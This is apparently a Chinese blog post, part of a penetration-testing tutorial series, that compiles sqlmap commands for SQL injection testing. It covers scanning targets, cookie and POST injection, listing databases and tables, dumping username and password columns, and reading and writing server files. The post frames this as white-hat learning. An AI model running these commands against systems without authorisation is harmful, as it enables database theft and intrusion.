渗透测试---手把手教你sqlmap数据库注入测试(2)---用法汇总篇

洛一方

已于 2023-10-14 16:09:17 修改

阅读量366

点赞数

分类专栏： # 渗透测试从入门到入土网络安全---白帽从小白到大神文章标签： sql 数据库网络安全安全网络攻击模型 web安全系统安全

于 2023-10-14 14:06:23 首次发布

本文链接：https://blog.csdn.net/weixin_52796034/article/details/133823204

版权

渗透测试从入门到入土同时被 2 个专栏收录

22 篇文章 4 订阅

订阅专栏

网络安全---白帽从小白到大神

19 篇文章 2 订阅

订阅专栏

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇http://t.csdnimg.cn/PBiMQ

前言:

在上一篇文章中,一方结合具体的靶场关卡,初步讲述了SQLMAP在SQL注入中的运用，但是上一篇文章只是粗浅地讲解了SQLMAP的粗浅使用，涉及的SQLMAP参数只有寥寥十余个，远远没有展现出SQLMAP在SQL注入中的"神器"作用,实际上SQLMAP的使用远非区区几篇博文可以阐述透彻的,这里一方针对SQLMAP在SQL注入实战中可能用到的参数和功能进行了总结与拓展(相当于SQLMAP帮助文档的汉化拓展),以期方便各位读者大大在使用SQLMAP时可以随时查阅:

具体的靶场案例,一方计划重新开辟一个SQLMAP专栏进行详细讲解,这里先为各位读者大大留下悬念🐾

sqlmap支持五种不同的注入模式：

支持基于布尔类型的盲注，即可以根据返回页面判断条件真假的注入。

支持基于时间的盲注，即不能根据页面返回的内容判断任何信息，要用条件语句查看时间延迟语句是否已经执行来判断。

支持报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回到页面中。

支持联合查询注入，即在可以使用Union的情况下注入。

支持堆叠查询注入，即可以同时执行多条语句时的注入。

SQLMAP主持所有主流数据库:

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

SQLMAP的安装与使用

SQLMAP的下载链接以及安装使用可以参看上一篇文章:

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇http://t.csdnimg.cn/8R8TH

sqlmap一键安装,解压即用!绿色无忧!https://download.csdn.net/download/weixin_52796034/88425318

sqlmap的基本使用方式:

基本的检测方式:

扫描单个URL:	sqlmap -u <target_url>
扫描多个URL: URL之间用空格分隔	sqlmap -u <target_url1> <target_url2> ...
基本格式:	sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql，级别为3（共5级，级别越高，检测越全面）
跟随302跳转:	sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候，自动跳转到另一个页面的时候需要跟随302，当注入错误的时候，先报错再跳转的时候，不需要跟随302。目的就是：要追踪到错误信息。
cookie注入:	当程序有防get注入的时候，可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2（只有level达到2才会检测cookie）
从post数据包中注入:	可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定POST请求所在的路径

拓展:sqlmap跟随302跳转

 在使用SQLMap进行注入攻击时，有时会遇到目标网站使用302重定向的情况。
这可能会使你无法直接注入目标页面，因为重定向会将请求导向另一个页面。

在这种情况下，我们可以尝试以下方法：

使用Burp Suite或其他代理工具捕获HTTP请求并进行手动重定向：
使用Burp Suite等工具可以捕获目标网站的HTTP请求，
然后手动修改请求的URL以跟随302重定向。
这样可以让你将SQLMap的注入请求发送到目标页面。

使用SQLMap的“--follow-redirect”选项：
SQLMap提供了一个“--follow-redirect”选项，可以自动跟随302重定向。
使用该选项可以使SQLMap自动将注入请求发送到目标页面。
例如，使用以下命令启用“--follow-redirect”选项：

sqlmap --follow-redirect -u <target_url>

请注意，在某些情况下，网站可能会使用其他类型的重定向（如301重定向），
而SQLMap可能无法自动跟随这些重定向。
在这种情况下，你需要手动处理HTTP请求并确保将注入请求发送到目标页面。

获取数据库基本信息:

查询有哪些数据库	-r XX.txt --dbs (-r指定POST请求所在的路径)
查询security数据库中有哪些表	-r XX.txt -D security --tables
查询security数据库中users表有哪些字段 security.users	-r XX.txt -D security -T users --columns
查询字段username与password中的数据	-r XX.txt -D security -T users -C "username,password" --dump

从数据库中搜索特定字段:

在security数据库中搜索字段admin或者password。

sqlmap -r "c:\tools\request.txt" --dbms mysql -D security --search -C admin,password

读取与写入文件:

首先找需要网站的物理路径，其次需要有可写或可读权限。

假设目标网站的URL为http://example.com/upload/file.txt

从指定的URL路径http://example.com/upload/file.txt）中读取文件，并将内容输出到标准输出。	sqlmap --file-read --file-path=file.txt --url="http://example.com/upload/file.txt"
向指定的URL路径http://example.com/upload/file.txt）中写入指定的内容。	sqlmap --file-write --file-path=file.txt --file-content="<Your content here>" --url="http://example.com/upload/file.txt"

sqlmap详细命令：

当前用户权限（是否为root权限）	--is-dba
所有数据库	--dbs
网站当前数据库	--current-db
所有数据库用户	--users
当前数据库用户	--current-user
构造随机user-agent	--random-agent
数据库密码	--passwords
(可以自定义线程加速) 代理	--proxy http://local:8080 --threads 10
响应的延迟时间（默认为5秒）	--time-sec=TIMESEC DBMS

Options（选项）：

显示程序的版本号并退出	--version
显示帮助消息并退出	-h, --help
详细级别：0-6（默认为1）	-v VERBOSE
保存进度继续跑：	sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度 sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度

Target（目标）：

以下至少需要设置其中一个选项，设置目标URL。(这些很少用到,放在这里仅作拓展)

直接连接到数据库。	-d DIRECT
目标URL	-u URL, --url=URL
从Burp或WebScarab代理的日志中解析目标	-l LIST
从一个文件中载入HTTP请求	-r REQUESTFILE
处理Google dork的结果作为目标URL。	-g GOOGLEDORK
从IN-g GOOGLEDORKI配置文件中加载选项	-c CONFIGFILE

Request（请求）：

这些选项可以用来指定如何连接到目标URL。

通过POST发送的数据字符串	--data=DATA
HTTP Cookie头	--cookie=COOKIE
编码生成的cookie注入	--cookie-urlencode URL
忽略响应的Set - Cookie头信息	--drop-set-cookie
指定 HTTP User - Agent头	--user-agent=AGENT
使用随机选定的HTTP User - Agent头	--random-agent
指定 HTTP Referer头	--referer=REFERER
换行分开，加入其他的HTTP头	--headers=HEADERS
HTTP身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM)	--auth-type=ATYPE
HTTP身份验证凭据（用户名:密码）	--auth-cred=ACRED
HTTP认证证书（key_file，cert_file）	--auth-cert=ACERT
使用HTTP代理连接到目标URL	--proxy=PROXY
HTTP代理身份验证凭据（用户名：密码）	--proxy-cred=PCRED
忽略系统默认的HTTP代理	--ignore-proxy
在每个HTTP请求之间的延迟时间，单位为秒	--delay=DELAY
等待连接超时的时间（默认为30秒）	--timeout=TIMEOUT
连接超时后重新连接的时间（默认3）	--retries=RETRIES
从所提供的代理日志中过滤器目标的正则表达式	--scope=SCOPE
在测试过程中经常访问的url地址	--safe-url=SAFURL
两次访问之间测试请求，给出安全的URL	--safe-freq=SAFREQ